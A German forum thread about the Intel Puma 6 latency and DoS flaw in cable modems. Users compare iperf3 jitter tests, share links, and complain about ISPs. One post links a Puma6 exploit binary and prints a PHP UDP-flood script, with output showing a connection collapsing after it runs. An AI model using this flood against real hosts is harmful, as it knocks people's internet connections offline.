Unitymedia Intel Puma Plattform

[F-orced-customer]

Das soweit ich weiß zum Aufbau der Grafik im Post von Conan179 benutzte Tool wird auch auf der badmodems.com Seite empfohlen...

Pingplotter Pro
This is a expensive tool - but is free for 2 weeks - Download here - Setup and use instructions are here
Its results are really conclusive. It can spot about any networking performance issue

https://www.thinkbroadband.com/download#

Broadband quality monitoring
The line monitoring system allows you to track the performance of your broadband connection in terms of latency and packet loss.
Start a broadband monitor now
More broadband test tools...

Das riecht irgendwie schon nach einer Online-Version von Pingplotter Pro ....

tbb.com misst keinen Jitter, PPPro wird von badmodems.com im TCP- Mode benutzt, siehe Video https://youtu.be/15cJ400yR_E

und wieso sich mit GUI-Spielzeug und screenshots rumschlagen wenns ne einfache Kommandozeile des Profitools iperf3 tut :kratz:

 

[Conan179]

noch ein test? nein danke ich verzichte.

 

[MartinP_Do]

Grr

https://www.onlinekosten.de/testbericht/unitymedia-connect-box.html

Die Connect Box unterstützt den Standard DOCSIS 3.0, zum Einsatz kommt die Intel Puma 6 Plattform mit 24 Downstream- und acht Upstream-Kanälen.

 

[F-orced-customer]

Die Connect Box unterstützt den Standard DOCSIS 3.0, zum Einsatz kommt die Intel Puma 6 Plattform mit 24 Downstream- und acht Upstream-Kanälen.

Ja und? Wissen wir doch schon :kratz:

 

[F-orced-customer]

Hier ist auch ein interessanter thread dazu, vor allem zur 64/6590:
https://www.ip-phone-forum.de/threads/diverses-6490-6590-puma6-probleme-bei-anderen-herstellern-puma7-design.293313/

Die hacken dort auf buffer bloat rum:
https://www.dslreports.com/faq/toolquestion/2_Speed_Test#17930

Und benutzen diesen Test:
http://www.dslreports.com/speedtest/22072795

Quality A - wers glaubt, der misst die retransmits nicht richtig, taugt auch nix :traurig:

 

[katz3]

Cisco EPC3212

 

[F-orced-customer]

Kannst Du noch den Jitter messen mit iperf3?

https://iperf.fr/iperf-download.php#windows

iperf3 -c ping.online.net -u -p 5209 -P 2

-P an dein upstream anpassen, -P 1 ^= 1Mbps, -p von 5200-5209

Für DS-Lite user:

iperf3 -c bouygues.iperf.fr -6 -u -P 2

 

[F-orced-customer]

Auf gehts gegen das eigene Modem versuchen
https://github.com/nallar/Puma6Fail/releases/download/v0.5/puma6_fail.exe
$ md5sum puma6_fail.exe
30b2ef5140cc6cf7ff5d230ff93e4889 puma6_fail.exe
$ clamscan puma6_fail.exe
puma6_fail.exe: OK


$ wine puma6_fail.exe
wine: Fehlerhaftes EXE-Format für Z:\usr\local\src\puma6_fail.exe.

<i>
</i>#!/usr/bin/php
<?php
$host = $argv[1];
$pps = 5000;
$tune = 125;
$sock = socket_create( AF_INET, SOCK_DGRAM, SOL_UDP );
$uslp = (1000000 / $pps) - $tune;
if( $uslp < 0 )
$uslp = 0;
for( $i = 6500000; $i > 0; $i-- )
{
$port = rand( 1025, 65535 );
socket_sendto( $sock, 'LUT2', 4, 0, $host, $port );
usleep( $uslp );
}
?>

Tja und der DOS exploit funktioniert nach paar Minuten gegen die Connect Box:

<i>
</i>$ iperf3 -c ping.online.net -p 5205 -t 500
[ 4] 12.00-13.00 sec 319 KBytes 2.61 Mbits/sec 0 164 KBytes
$ ./puma6fail 8.8.8.8
[ 4] 13.00-14.00 sec 19.2 KBytes 158 Kbits/sec 142 114 KBytes
[ 4] 14.00-15.00 sec 492 KBytes 4.03 Mbits/sec 78 67.4 KBytes
[ 4] 15.00-16.00 sec 308 KBytes 2.52 Mbits/sec 3 44.0 KBytes
[ 4] 16.00-17.00 sec 256 KBytes 2.09 Mbits/sec 0 48.1 KBytes
$ iperf3 -c ping.online.net -p 5205 -t 500
iperf3: error - unable to connect to server:
Sep 20 00:03:04 tom3 sflphoned: sipaccount.cpp:1981:0x29c0: Scheduling re-registration retry in 59 seconds..
Sep 20 00:03:35 tom3 sflphoned: sipaccount.cpp:1981:0x29c0: Scheduling re-registration retry in 309 seconds..
Sep 20 00:03:35 tom3 sflphoned: sipaccount.cpp:1981:0x29c0: Scheduling re-registration retry in 64 seconds..
Sep 20 00:04:34 tom3 sflphoned: sipaccount.cpp:1981:0x29c0: Scheduling re-registration retry in 296 seconds..

Sauerei solche Modems zu liefern, das können wir UM nicht durchgehen lassen, Modemgate, nachrüsten aber pronto! :wut:

 

[Andreas1969]

Sauerei solche Modems zu liefern, das können wir UM nicht durchgehen lassen, Modemgate, nachrüsten aber pronto!

Tja, Du wolltest es ja unbedingt haben.
Hättest Dich auf den Deal mit der ConnectBox nicht einlassen müssen. :traurig:
Mit Deinem Cisco war doch vorher alles gut :winken:

 

[F-orced-customer]

Mit Deinem Cisco war doch vorher alles gut :winken:

Weiss ich nicht. Chipsatz?

Und es geht doch hier nicht um mich, Millionen Puma6 user sind weltweit betroffen :winken:

 

[Andreas1969]

Weiss ich nicht. Chipsatz?

Das Cisco hat jedenfalls keinen Puma 6 Chipsatz verbaut :winken:

 

[F-orced-customer]

Ich habe wohl einen Fehler gemacht:

https://www.ip-phone-forum.de/threads/diverses-6490-6590-puma6-probleme-bei-anderen-herstellern-puma7-design.293313/page-4#post-2242000

Wobei ich den Test hier (https://www.unitymediaforum.de/viewtopic.php?p=382383#p382383) nicht nachvollziehen kann ... da wird dann dieser Traffic zur Adresse des Google-DNS erzeugt (also offensichtlich "von innen")? Das ist nicht das eigentliche DoS-Problem, was Ende April für den Puma6-Prozessor beschrieben wurde (da ging es um "unsolicited traffic" von außen, den man auch nicht blockieren kann bzw. wo die Firewall im eRouter dann zu spät dran ist, um den Overload zu verhindern) und wenn Du das ebenso getestet hast, ist es auch weniger verwunderlich, wenn das in der 06.84 noch vorhanden wäre.
...
Der "DoS-Test" mit ausgehenden Verbindungen bringt also nichts ... das muß schon von außen an die eigene öffentliche IP-Adresse gesendet werden. Von innen sollte man mit einem ähnlichen Szenario tatsächlich so ziemlich jeden beliebigen Router in die Bredouille bringen können ... spätestens dann, wenn ihm die Portnummern (auf der WAN-Seite) für das NAT ausgehen.

OK, bleibt zu hoffen dass das wenige tun und die Connect Box von aussen schwer zu finden ist.

 

[F-orced-customer]

Hier ist noch ein iperf3 ergebnis für die 6590, kaum Jitter:

https://www.ip-phone-forum.de/threads/diverses-6490-6590-puma6-probleme-bei-anderen-herstellern-puma7-design.293313/page-4#post-2241963

Zum Vergleich die Connect Box mit 50/2 in der Prime Time:

<i>
</i>$ iperf3 -c ping.online.net -p 5205 -u -P 2
[ ID] Interval Transfer Bandwidth Jitter Lost/Total Datagrams
[SUM] 0.00-10.00 sec 2.50 MBytes 2.10 Mbits/sec 38.819 ms 0/318 (0%)
$ iperf3 -c ping.online.net -p 5205 -R
[ ID] Interval Transfer Bandwidth Retr
[ 4] 0.00-10.00 sec 61.6 MBytes 51.7 Mbits/sec 35 sender
[ 4] 0.00-10.00 sec 61.0 MBytes 51.2 Mbits/sec receiver
$ iperf3 -c ping.online.net -p 5205 -u -R -P 50
[ ID] Interval Transfer Bandwidth Jitter Lost/Total Datagrams
[SUM] 0.00-10.00 sec 62.9 MBytes 52.8 Mbits/sec 45.571 ms 517/8049 (6.4%)

 

[Creep89]

Auf Bitten des Users @F-orced-customer:

Modem / Router siehe Signatur.

 

[F-orced-customer]

Modem / Router siehe Signatur.

Gut. Sobald dein Cisco verreckt steht dann Connect Box oben drunter

 

[Creep89]

Pffff nur über meine Leiche :hammer:

 

[Menano]

Irgendwie sieht das komisch aus. :kratz:

 

[Conan179]

das die ping werte zwischen 0uhr und 3uhr höher sind, habe ich auch bei allen 4 meiner boxen (selber ort).

 

[Andreas1969]

das die ping werte zwischen 0uhr und 3uhr höher sind, habe ich auch bei allen 4 meiner boxen (selber ort).

Komisch, bei meinen 3 Boxen ist das nicht der Fall. :kratz:

 

[Conan179]

da kommt mir aber eine gedanken, er kommt auch Bruchsal, ich aus der nähe von Heidelberg. ein räumliche annomalier schätzte ich mal.
Selbst den kleinen peak um 4uhr ist bei mir zusehen

 

[Andreas1969]

da kommt mir aber eine gedanken, er kommt auch Bruchsal, ich aus der nähe von Heidelberg. ein räumliche annomalier schätzte ich mal.
Selbst den kleinen peak um 4uhr ist bei mir zusehen

Stimmt, sind ja nur knapp 30 km :zwinker:

 

[Conan179]

eurodocsis kann >100km auseinander sein, zwischen kunde und kabelkopfstelle so abwägig ist das nicht.

 

[F-orced-customer]

Irgendwie sieht das komisch aus. :kratz:

https://www.thinkbroadband.com/faq/broadband-quality-monitor
"RE-Sync"

https://www.thinkbroadband.com/faq/broadband-quality-monitor

Which routers support BQM?
Here is a list of routers which we have found, have been advised, or we believe are likely to (since models vary) support our BQM tool and a few we know do not:
Supported
Virgin Media Super Hub

Puma Bug device
...
Hier noch meine Connect Box LIVE
https://www.thinkbroadband.com/broadband/monitoring/quality/share/165312b34203bb79d96f21bb2d2e57db3d7dc87b
...

Das Cisco hat jedenfalls keinen Puma 6 Chipsatz verbaut :winken:

http://www.theregister.co.uk/2017/08/09/intel_puma_modem_woes/

A Chipzilla spokesperson confirmed to The Register on Tuesday that a TCP/UDP latency issue that makes home and business gateways powered by Puma 6 processors trivial to knock offline is also present in the Puma 5 and Puma 7 lines.

http://badmodems.com/WhatDoIDo.htm

If you are outside the US

This gets really messy. You cant go get another modem. Your only option is to complain a lot to your ISP. Intel has been very effective in getting worldwide ISPs to switch exclusively to Intel and so you cant get Braodcom.

OVERALL

ISPs and modem makers are scared of a recall and the huge monetary loss over this chip blunder. So everyone is trying to stick their head in the sand as completely as possible. So getting anything done is a issue. This could well be one of the largest mistakes in Intel history and cost them A LOT of money.

 

[F-orced-customer]

@Edding ich hab keinen schimmer, was die 6590 für einen DOCSIS chipsatz nutzt

https://www.teltarif.de/avm-fritzbox-6490-cable-aufgeschraubt-platine/news/69542.html?page=6

Intel Puma6 in der FRITZ!Box 6490 Cable eingesetzt wird.

Tolle "komfortfunktion"

https://www.golem.de/news/fritzbox-6590-cable-im-test-avms-neuer-kabelrouter-laeuft-weniger-heiss-1707-128973-4.html

Und weil in der 6590 ein Puma-6-Chipsatz steckt,

Auch angeschmiert :glück:

Eine derart national begrenzte Herstellerin wie AVM wird wohl kaum genug Druck auf Intel ausüben können :traurig:

#ModemGate #Pumageddon

 

[Andreas1969]

Auch angeschmiert

Aber das wussten wir doch schon, daß die 6590 auch den Puma 6 hat.
Erst die 6591 wird den Puma 7 bekommen. :winken:

Allerdings scheinen der Puma 5 und Pume 7 ja auch den Bug zu haben. :wand: